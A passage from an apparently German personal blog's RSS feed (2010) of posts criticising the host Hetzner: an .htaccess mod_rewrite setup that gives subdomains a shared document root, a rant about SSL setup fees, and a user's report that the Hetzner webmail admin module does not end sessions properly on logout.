<p>Um das Root-Verzeichnis einer Subdomain zu ändern, besucht ihr statt der <em>&#8220;Serverkonfiguration&#8221;</em> einfach den Menüpunkt <em>&#8220;Subdomains&#8221;</em>. Dort könnt ihr dann den Namen der Subdomain und den Root-Ordner der Subdomain eintragen. Natürlich könnt ihr den Root-Ordner einer Subdomain auch später noch ändern.</p>
<div id="attachment_5324" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/hetzner_docroot_sub.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/hetzner_docroot_sub-300x129.png" alt="" title="hetzner_docroot_sub" width="300" height="129" class="size-medium wp-image-5324" /></a><p class="wp-caption-text">Hetzner Document Root (Subdomains)</p></div>
<p>Die Document Root wird dafür eingesetzt, jeder Domain und jeder Subdomain ihr eigenes Verzeichnis zu geben, damit die Dateien von DomainA und DomainZ nicht wild durcheinander gemischt in ein und demselben Ordner liegen müssen. Die Document Root selber wird normalerweise direkt in die Konfiguration des Webservers (z.B. des Apache) eingetragen.</p>
<p>Wie wir nun gehört haben, kriegt es Hetzner nicht hin, Subdomains über ein einzelnes SSL-Zertifikat abzuhandeln, wenn diese sich in verschiedenen Root-Verzeichnissen befinden. Meine Idee war deshalb, allen Subdomains das gleiche Wurzelverzeichnis zuzuweisen und mich dann selber um das Emulieren von individuellen Root-Verzeichnissen zu kümmern. Mit ein klein wenig <strong><a href="http://www.modrewrite.de/" target="_blank" class="liexternal">mod-rewriting</a></strong> war das überhaupt kein Problem! In dem gleichen Schritt konnte ich zudem eine Merkwürdigkeit von Hetzners Infrastruktur beseitigen. Hier jedoch erst einmal der Quelltext einer beispielhaften <strong>.htaccess</strong>-Datei. Diese muss in das tiefstmögliche Verzeichnis <em>&#8220;public_html&#8221;</em> gelegt werden.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">RewriteEngine on<br />
Options +FollowSymLinks<br />
<br />
RewriteBase /<br />
<br />
RewriteCond %{HTTP_HOST} ^(.+)\.www(.+)\.your\-server\.de$ [NC]<br />
RewriteRule ^(.*)$ http://%1/$1 [L,R=301] <br />
<br />
RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]<br />
RewriteRule ^(.*)$ http://%1/$1 [L,R=301] <br />
<br />
RewriteCond %{HTTP_HOST} ^domain\.test$ [NC]<br />
RewriteCond %{REQUEST_URI} !^\/domain(\/.*)?$ [NC]<br />
RewriteRule ^(.*)$ /domain/$1<br />
<br />
RewriteCond %{HTTP_HOST} ^subdomaina\.domain\.test$ [NC]<br />
RewriteCond %{REQUEST_URI} !^\/subdomaina(\/.*)?$ [NC]<br />
RewriteRule ^(.*)$ /subdomaina/$1<br />
<br />
RewriteCond %{HTTP_HOST} ^subdomainz\.domain\.test$ [NC]<br />
RewriteCond %{REQUEST_URI} !^\/subdomainz(\/.*)?$ [NC]<br />
RewriteRule ^(.*)$ /subdomainz/$1</div></td></tr></tbody></table></div>
<p>Damit dieser Aufbau funktioniert, muss die Domain und alle Subdomains auf das gleiche Document Root zeigen (in diesem Fall <em>&#8220;public_html&#8221;</em>). Im Grunde genommen machen wir dann anschließend nichts weiter, als uns selbst um die Zuweisung des tatsächlichen Document Roots zu kümmern. Wir ziehen diese Aufgabe also aus der Konfiguration des Webservers heraus. Dadurch sollte es möglich sein, für alle Subdomains ein und dasselbe Zertifikat zu verwenden (und damit nur einmal das Setup für die Domain zu bezahlen).</p>
<p>Für die Leute, die sich nicht mit <em>mod_rewrite</em> auskennen, hier eine kurze Erklärung des Quelltextes:</p>
<ul>
<li>Mit den ersten drei Zeilen aktivieren wir eine Funktion des Webservers, mit dem URLs umgeschrieben werden können. Mit anderen Worten: Die URL, die man dann als Nutzer aufruft, ist in Wahrheit garnicht die URL, die zum Schluss verarbeitet wird.</li>
<li>Mit dem ersten darauf folgenden Block kümmern wir uns um eine Unart von Hetzners Infrastruktur. Bei Hetzner wird für jede Domain und jede Subdomain eine Adresse der Form <em>&#8220;[domain].www[zahl].your-server.de&#8221;</em> eingerichtet. Da wir diese garantiert nicht im Web verlinkt haben wollen, greifen wir uns die tatsächliche Domain aus dieser langen Adresse heraus und leiten auf diese weiter.</li>
<li>Der darauf folgende Block kümmert sich um das einer Domain vorangestellte <em>&#8220;www.&#8221;</em>. Diese Subdomain ist eine Abart aus der Frühzeit des Internets, die heutzutage nicht mehr notwendig ist. Deshalb werden Aufrufe der Form <em>&#8220;www.[domain]&#8220;</em> direkt auf die Domain weitergeleitet.</li>
<li>Danach kümmern wir uns um das Setzen des ersten Root-Verzeichnisses (in diesem Fall von der Domain <em>&#8220;domain.test&#8221;</em>). Dieser wird das Verzeichnis <em>&#8220;/domain/&#8221;</em> zugewiesen.</li>
<li>Danach kümmern wir uns um die Verzeichnisse der beiden Subdomains <em>&#8220;subdomaina.domain.test&#8221;</em> und <em>&#8220;subdomainz.domain.test&#8221;</em>. Diesen werden die Ordner <em>&#8220;/subdomaina/&#8221;</em> bzw. <em>&#8220;/subdomainz/&#8221;</em> zugeweisen.</li>
</ul>
<p>In freier Wildbahn sieht das dann in etwa so aus: Angenommen, wir wollen das <a href="http://de.wikipedia.org/wiki/Favicon" target="_blank" rel="nofollow" class="liwikipedia">Favicon</a> der Domain <a href="http://coltishware.net" target="_blank" class="liexternal">coltishware.net</a> aufrufen. Dann können wir das direkt über die Adresse <a href="http://coltishware.net/favicon.ico" target="_blank" class="liexternal">coltishware.net/favicon.ico</a> tun. Intern wird dieser Aufruf jedoch in den Ordner &#8220;coltishware&#8221; umgeleitet. In Wirklichkeit ruft man also eigentlich die Adresse <a href="http://coltishware.net/coltishware/favicon.ico" target="_blank" class="liexternal">coltishware.net/coltishware/favicon.ico</a> auf.</p>
<p>Ich bin übrigens enttäuscht, dass Hetzner solch eine Lösung nicht in der Schublade liegen hat, falls ein Kunde mal wirklich ein paar mehr Anforderungen an deren Infrastruktur stellt. Das ist nicht das erste Mal, dass ich der Meinung bin, dass Hetzner sich zu sehr auf der eingerichteten, unzureichenden Infrastruktur ausruht und es wird auch nicht das letzte Mal gewesen sein.</p>
<p>Und an alle Sicherheitsfanatiker unter uns: Es ist egal, dass alle Domains in Wirklichkeit das gleiche Wurzelverzeichnis besitzen. Bei Hetzner ist der <strong>safe_mode</strong> ausgeschaltet. Selbst wenn man jeder Subdomain ihr eigenes Root-Verzeichnis zuweist, könnten diese also aus ihrem Verzeichnis &#8220;ausbrechen&#8221;.<br/><br />
<strong>Subdomain-Grüße, Kenny</strong></p>
<p>P.S.: Ich werde gleich nochmal den Hetzner-Support quälen und fragen, ob man mit dieser Lösung <strong>wirklich</strong> alle Subdomains mit einem einzelnen SSL-Setup schützen könnte.</p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/losung-fur-hetzners-subdomain-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Die SPINNEN bei Hetzner!</title>
		<link>http://weizenspr.eu/2010/die-spinnen-bei-hetzner/</link>
		<comments>http://weizenspr.eu/2010/die-spinnen-bei-hetzner/#comments</comments>
		<pubDate>Fri, 21 May 2010 11:56:28 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Spreu]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5314</guid>
		<description><![CDATA[Langsam aber sicher geht mir die Hutschnur hoch. Diese Unfähigkeit bei Hetzner kotzt mich gerade dermaßen an. Das ist einfach nur noch lachhaft, was die ihren Kunden (der dort definitiv kein König ist) versuchen aufzutischen. Nachdem ich die letzten Tage erstmal Abstand brauchte, kam heute der nächste Kracher!
Ich hatte angefragt, wie es sich mit Subdomains [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Langsam aber sicher geht mir die Hutschnur hoch. Diese <strong>Unfähigkeit</strong> bei Hetzner kotzt mich gerade dermaßen an. Das ist einfach nur noch lachhaft, was die ihren Kunden (der dort definitiv <strong>kein</strong> König ist) versuchen aufzutischen. Nachdem ich die letzten Tage erstmal Abstand brauchte, kam heute der nächste Kracher!</p>
<p>Ich hatte angefragt, wie es sich mit Subdomains verhält, wenn man SSL bestellt hat. Antwort: Wenn alle Subdomains auf das gleiche Root-Verzeichnis zeigen und man ein Wildcard-Zertifikat besitzt, macht das kein Problem. Wenn man hingegen Subdomains auf ein anderes Root-Verzeichnis zeigen lassen will (<strong>wie abwegig!</strong>), soll man <strong>für jede einzelne Subdomain Setup-Gebühren blechen!</strong>. Sorry, das finde ich absolut nicht mehr lustig. Das ist eine Farce erster Güte. Das ist lachhaft. Das ist einfach nur schlecht.</p>
<p>Ich habe jetzt deswegen nachgefragt, ob sie ihren Kunden nicht einfach ermöglichen könnten, ihre beschissene Apache-Config-Datei selber zu pflegen (z.B. über die <em>&#8220;supertolle&#8221;</em> konsoleH). Ganz ehrlich: Ich hoffe, so einen <strong>riesigen Fehler</strong> wie mit Hetzner werde <strong>nie wieder</strong> machen!<br/><br />
<strong>Fehlerhafte Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/die-spinnen-bei-hetzner/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Hetzner mit Logout-Problemen</title>
		<link>http://weizenspr.eu/2010/hetzner-mit-logout-problemen/</link>
		<comments>http://weizenspr.eu/2010/hetzner-mit-logout-problemen/#comments</comments>
		<pubDate>Wed, 19 May 2010 07:03:11 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Spreu]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5296</guid>
		<description><![CDATA[Langsam tut es einfach nur noch weh, was man bei Hetzner alles zu sehen kriegt. Wenn ihr auch nur halbswegs an Webdesign interessiert sein solltet, dann haltet euch lieber vom Webmail-Interface von Hetzner fern! 
Nein, das Problem ist nicht, dass das ganze auf Horde basiert. Das Problem ist, dass Hetzner daran rumgefrickelt hat und ein [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Langsam tut es einfach nur noch weh, was man bei Hetzner alles zu sehen kriegt. Wenn ihr auch nur halbswegs an Webdesign interessiert sein solltet, dann haltet euch lieber vom <a href="https://mail.your-server.de/" target="_blank" class="liexternal">Webmail-Interface</a> von Hetzner fern! </p>
<p>Nein, das Problem ist nicht, dass das ganze auf <a href="http://de.wikipedia.org/wiki/Horde_(Framework)" target="_blank" rel="nofollow" class="liwikipedia">Horde</a> basiert. Das Problem ist, dass Hetzner daran rumgefrickelt hat und ein sogenanntes <em>&#8220;MailAdmin&#8221;</em>-Modul einsetzt, das ich bisher noch nirgendwo anders gesehen habe &#8211; zum Glück.</p>
<div id="attachment_5299" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/hetzner_mailadmin.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/hetzner_mailadmin-300x105.png" alt="" title="hetzner_mailadmin" width="300" height="105" class="size-medium wp-image-5299" /></a><p class="wp-caption-text">Hetzner MailAdmin</p></div>
<p>Dieser MailAdmin gibt den Leuten die Möglichkeit, ihr Passwort zu ändern und E-Mail-Forwardings einzurichten. Soweit ganz nett. Um das ganze für den hMailServer zu realisieren, musste ich damals schon <a href="http://weizenspr.eu/2010/hmailserver-konfiguration-via-cgi/" target="_blank" class="liinternal">tief</a> in die <a href="http://weizenspr.eu/2010/mail-forwarding-des-hmailserver-andern/" target="_blank" class="liinternal">Trickkiste</a> <a href="http://weizenspr.eu/2010/benutzerpasswort-des-hmailserver-andern/" target="_blank" class="liinternal">greifen</a>.</p>
<p>Wirklich gut gelungen ist dieses <strong>Ding</strong> allerdings nicht. Versucht man nämlich mal, sich dort auszuloggen, kommt man zuerst auf diese wunderschöne, Vertrauen erweckende Seite, die einem zu verstehen gibt, dass der Logout erfolgreich war.</p>
<div id="attachment_5301" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/mailadmin_logout.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/mailadmin_logout-300x255.png" alt="" title="mailadmin_logout" width="300" height="255" class="size-medium wp-image-5301" /></a><p class="wp-caption-text">MailAdmin-Logout</p></div>
<p>Wenn man danach versucht, sich neu einzuloggen, wird man mit einem Login-Screen begrüßt. Man scheint also wirklich ausgeloggt worden zu sein. Wirklich toll!</p>
<div id="attachment_5302" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/mailadmin_login.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/mailadmin_login-300x143.png" alt="" title="mailadmin_login" width="300" height="143" class="size-medium wp-image-5302" /></a><p class="wp-caption-text">MailAdmin-Login</p></div>
<p>Dem geneigten Leser wird aufgefallen sein, dass trotz Logout links immernoch die Menüleiste von Horde zu sehen ist. Und jetzt ratet mal, was passiert, wenn man in dieser Leiste einfach wieder auf den MailAdmin-Button klickt. Genau! Man ist wieder eingeloggt. Tolle Wurst! Damit man überhaupt versteht, <em>warum</em> man diesen Logout-Link <strong>unbedingt</strong> verwenden sollte und <em>wann</em> es überhaupt Sinn macht, muss man sich die Anwendung erstmal genauer ansehen.</p>
<p>Der MailAdmin-Button macht anscheinend nichts anderes, als die Adresse <a href="https://mail.your-server.de/mailadmin/" target="_blank" class="liexternal">mail.your-server.de/mailadmin/</a> aufzurufen. Wenn ihr mich fragt, wird das ganze deshalb gemacht, um das Cookie auslesen zu können, das Horde angelegt hat. Die Seite macht nämlich nichts anderes, als auf die Adresse <em>&#8220;www[Zahl].your-server.de/admin/?form_login=[Mailadresse]&#038;form_passwd=[Passwort]&#038;A=checkin&#038;setlang=de&#8221;</em> weiterzuleiten. Die Informationen [Zahl], [Mailadresse] und [Passwort] wurde wahrscheinlich anhand der Informationen im Cookie aus irgendeiner Datenbank gefischt.</p>
<p>Warum ich denke, dass die Informationen aus dem &#8211; von Horde angelegten &#8211; Cookie verwendet werden? Ganz einfach: Weil die MailAdmin-Adresse nicht mehr funktioniert, wenn man sich aus Horde ausgeloggt hat.<br />
Ein Problem bleibt dieser ganze zusammengeschusterte Kram allerdings trotzdem. Denn, oh wunder! Die Seite, auf die man weitergeleitet wurde, legt einen Cookie und eine Session an. Dank dieser beiden Dinge kommt man durch direktes Aufrufen an die Admin-Oberfläche, obwohl man sich aus Horde ausgeloggt hat!<br />
Wenn man also den MailAdmin aufgerufen hat, muss man sich auch explizit aus beiden Seiten (dem MailAdmin und Horde) ausloggen. Ehrlich gesagt würde es mich wundern, wenn das irgendjemand einfach so macht.<br/><br />
<strong>Eingeloggte Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/hetzner-mit-logout-problemen/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
